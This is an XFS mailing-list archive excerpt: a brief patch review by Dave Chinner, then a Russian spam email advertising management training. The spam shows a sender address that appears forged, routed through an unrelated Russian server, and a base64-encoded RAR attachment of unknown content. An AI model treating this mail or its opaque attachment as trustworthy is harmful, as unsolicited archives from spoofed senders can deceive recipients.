X-ASG-Debug-ID: 1379634646-04cbb02c3a11f6c90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id a9tiGz9cSJSDcqFC for ; Thu, 19 Sep 2013 16:50:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4IAL+MO1J5Lapl/2dsb2JhbABbgwe8eYU/gR0XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gCukUWj1EHhB4Dl3uKOIc+gWaBUCo Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Sep 2013 09:20:45 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnza-0005On-6E; Fri, 20 Sep 2013 09:50:38 +1000 Date: Fri, 20 Sep 2013 09:50:38 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE Message-ID: <20130919235038.GS9901@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> <1379618121-35105-5-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379618121-35105-5-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379634646 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 03:15:21PM -0400, Brian Foster wrote: > The xfs_inactive() return value is meaningless. Turn xfs_inactive() > into a void function and clean up the error handling appropriately. > Kill the VN_INACTIVE_[NO]CACHE directives as they are not relevant > to Linux. > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From savin-igor@lmco.com Thu Sep 19 18:53:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1FBA529DFB for ; Thu, 19 Sep 2013 18:53:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E9D68F8066 for ; Thu, 19 Sep 2013 16:53:49 -0700 (PDT) X-ASG-Debug-ID: 1379634826-04cbb02c3b11f6f60001-NocioJ Received: from howtoshop.ru (web.masterlink.ru [89.191.240.38]) by cuda.sgi.com with ESMTP id 9NpzrKPBEFi7te0E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 19 Sep 2013 16:53:47 -0700 (PDT) X-Barracuda-Envelope-From: savin-igor@lmco.com X-Barracuda-Apparent-Source-IP: 89.191.240.38 Received: from Unknown (97-95-225-218.dhcp.sffl.va.charter.com [97.95.225.218]) (authenticated bits=0) by howtoshop.ru (8.14.1/8.13.8) with ESMTP id r8JNw87Z052964; Fri, 20 Sep 2013 03:58:11 +0400 (MSK) (envelope-from savin-igor@lmco.com) Message-ID: Reply-To: =?windows-1251?B?wuvg5OXr5fYg7/Dl5O/w6P/y6P8=?= From: =?windows-1251?B?wuvg5OXr5fYg7/Dl5O/w6P/y6P8=?= To: , , , Subject: =?windows-1251?B?0ODh7vLgIPHuIKvx6+7m7fvs6Lsg8e7y8PPk?= =?windows-1251?B?7ejq4Ozo?= Date: Fri, 20 Sep 2013 01:54:05 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0ODh7vLgIPHuIKvx6+7m7fvs6Lsg8e7y8PPk?= =?windows-1251?B?7ejq4Ozo?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1E9A_01CEB5A4.49B7A840" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.2 (howtoshop.ru [89.191.240.38]); Fri, 20 Sep 2013 03:58:14 +0400 (MSK) X-Barracuda-Connect: web.masterlink.ru[89.191.240.38] X-Barracuda-Start-Time: 1379634827 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1E9A_01CEB5A4.49B7A840 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1E9B_01CEB5A4.49B7A840" ------=_NextPart_001_1E9B_01CEB5A4.49B7A840 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D3=E2=E0=E6=E0=E5=EC=FB=E5 =EA=EE=EB=EB=E5=E3=E8! =F1 7 =CE=CA=D2=DF=C1=D0=DF =EC=FB =EE=F2=EA=F0=FB=E2=E0=E5=EC =E4=EB=FF = =C2=E0=F1 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EB=E8=F7=ED=EE=E3=EE =E8 =EF= =F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE =F0=EE=F1=F2=E0!=20 =C5=F1=EB=E8 =C2=FB =F5=EE=F2=E8=F2=E5 =EF=EE=E2=FB=F1=E8=F2=FC =F1=E2=EE= =FE =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=FE, =E0 =F2=E0=EA=E6=E5 =F3=F1=EE=E2= =E5=F0=F8=E5=ED=F1=F2=E2=EE=E2=E0=F2=FC =EF=F0=EE=F6=E5=F1=F1 =F3=EF=F0=E0= =E2=EB=E5=ED=E8=FF =F1=E2=EE=E8=EC =EE=F2=E4=E5=EB=EE=EC, =EF=F0=E5=E4=EF= =F0=E8=FF=F2=E8=E5=EC =E8=EB=E8 =EB=E8=F7=ED=FB=EC =E2=F0=E5=EC=E5=ED=E5=EC= ,=20 =E4=EE=E1=F0=EE =EF=EE=E6=E0=EB=EE=E2=E0=F2=FC =ED=E0 =ED=E0=F8 =F2=F0=E5= =ED=E8=ED=E3 =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =AB=D1=EE= =E2=F0=E5=EC=E5=ED=ED=FB=E9 =FD=F4=F4=E5=EA=F2=E8=E2=ED=FB=E9 =F0=F3=EA=EE= =E2=EE=E4=E8=F2=E5=EB=FC=BB!=20 =CD=E0 =F2=F0=E5=ED=E8=ED=E3=E5 =C2=FB =ED=E0=F3=F7=E8=F2=E5=F1=FC: =95 =DD=F4=F4=E5=EA=F2=E8=E2=ED=EE =EC=EE=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC =EF= =EE=E4=F7=E8=ED=E5=ED=ED=FB=F5 =E8 =F0=E0=E7=F0=E5=F8=E0=F2=FC =EA=EE=ED=F4= =EB=E8=EA=F2=FB =E2 =EA=EE=EB=EB=E5=EA=F2=E8=E2=E5 =95 =CF=F0=E8=EC=E5=ED=E8=F2=E5 =F0=E5=E7=F3=EB=FC=F2=E0=F2=E8=E2=ED=EE=E5= =F6=E5=EB=E5=EF=EE=EB=E0=E3=E0=ED=E8=E5 =E8 =EF=EB=E0=ED=E8=F0=EE=E2=E0=ED= =E8=E5 =95 =CF=EE=E9=EC=E5=F2=E5, =F7=E5=E3=EE =ED=E5 =F5=E2=E0=F2=E0=E5=F2 =E8=EC= =E5=ED=ED=EE =C2=E0=EC =E4=EB=FF =E1=EE=EB=E5=E5 =F3=F1=EF=E5=F8=ED=EE=E3= =EE =F0=F3=EA=EE=E2=EE=E4=F1=F2=E2=E0 =E8 =F0=EE=F1=F2=E0 =95 =CD=E0=F3=F7=E8=F2=E5=F1=FC =E3=F0=E0=EC=EE=F2=ED=EE =E4=E5=EB=E5=E3=E8= =F0=EE=E2=E0=F2=FC =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =E4=F0. =C7=E2=EE=ED=E8=F2=E5, =F0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC =E8 = =F3=E7=ED=E0=E2=E0=E9=F2=E5 =E1=EE=EB=FC=F8=E5: * =EA=EE=E4 =D1=CF=E1 * 98-6 __ 8-2 - 8I ------=_NextPart_001_1E9B_01CEB5A4.49B7A840 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D3=E2=E0=E6=E0=E5=EC=FB=E5 =EA=EE=EB=EB=E5=E3=E8!
 
=F1 7 =CE=CA=D2=DF=C1=D0=DF =EC=FB =EE=F2=EA=F0=FB=E2=E0=E5=EC =E4=EB= =FF =C2=E0=F1 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EB=E8=F7=ED=EE=E3=EE =E8= =EF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE=20 =F0=EE=F1=F2=E0!
=C5=F1=EB=E8 =C2=FB =F5=EE=F2=E8=F2=E5 =EF=EE=E2=FB=F1= =E8=F2=FC =F1=E2=EE=FE =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=FE, =E0 =F2=E0=EA= =E6=E5 =F3=F1=EE=E2=E5=F0=F8=E5=ED=F1=F2=E2=EE=E2=E0=F2=FC=20 =EF=F0=EE=F6=E5=F1=F1 =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF =F1=E2=EE=E8=EC =EE=F2= =E4=E5=EB=EE=EC, =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=E5=EC =E8=EB=E8 =EB=E8=F7= =ED=FB=EC =E2=F0=E5=EC=E5=ED=E5=EC,
=E4=EE=E1=F0=EE=20 =EF=EE=E6=E0=EB=EE=E2=E0=F2=FC =ED=E0 =ED=E0=F8 =F2=F0=E5=ED=E8=ED=E3 =E2= =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =AB=D1=EE=E2=F0=E5=EC=E5=ED= =ED=FB=E9 =FD=F4=F4=E5=EA=F2=E8=E2=ED=FB=E9=20 =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FC=BB!
 
=CD=E0 =F2=F0=E5=ED=E8=ED=E3=E5 =C2=FB =ED=E0=F3=F7=E8=F2=E5=F1=FC:<= BR>=95 =DD=F4=F4=E5=EA=F2=E8=E2=ED=EE =EC=EE=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC= =EF=EE=E4=F7=E8=ED=E5=ED=ED=FB=F5 =E8=20 =F0=E0=E7=F0=E5=F8=E0=F2=FC =EA=EE=ED=F4=EB=E8=EA=F2=FB =E2 =EA=EE=EB=EB=E5= =EA=F2=E8=E2=E5
=95 =CF=F0=E8=EC=E5=ED=E8=F2=E5 =F0=E5=E7=F3=EB=FC=F2=E0= =F2=E8=E2=ED=EE=E5 =F6=E5=EB=E5=EF=EE=EB=E0=E3=E0=ED=E8=E5 =E8=20 =EF=EB=E0=ED=E8=F0=EE=E2=E0=ED=E8=E5
=95 =CF=EE=E9=EC=E5=F2=E5, =F7=E5= =E3=EE =ED=E5 =F5=E2=E0=F2=E0=E5=F2 =E8=EC=E5=ED=ED=EE =C2=E0=EC =E4=EB=FF= =E1=EE=EB=E5=E5 =F3=F1=EF=E5=F8=ED=EE=E3=EE=20 =F0=F3=EA=EE=E2=EE=E4=F1=F2=E2=E0 =E8 =F0=EE=F1=F2=E0
=95 =CD=E0=F3=F7= =E8=F2=E5=F1=FC =E3=F0=E0=EC=EE=F2=ED=EE =E4=E5=EB=E5=E3=E8=F0=EE=E2=E0=F2= =FC =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =E4=F0.
 
=C7=E2=EE=ED=E8=F2=E5, =F0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC= =E8 =F3=E7=ED=E0=E2=E0=E9=F2=E5 =E1=EE=EB=FC=F8=E5:
 
* =EA=EE=E4 =D1=CF=E1 * 98-6 __ 8-2 - 8I ------=_NextPart_001_1E9B_01CEB5A4.49B7A840-- ------=_NextPart_000_1E9A_01CEB5A4.49B7A840 Content-Type: application/octet-stream; name="=?windows-1251?B?7+vg7SC5MS5yYXI=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7+vg7SC5MS5yYXI=?=" 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 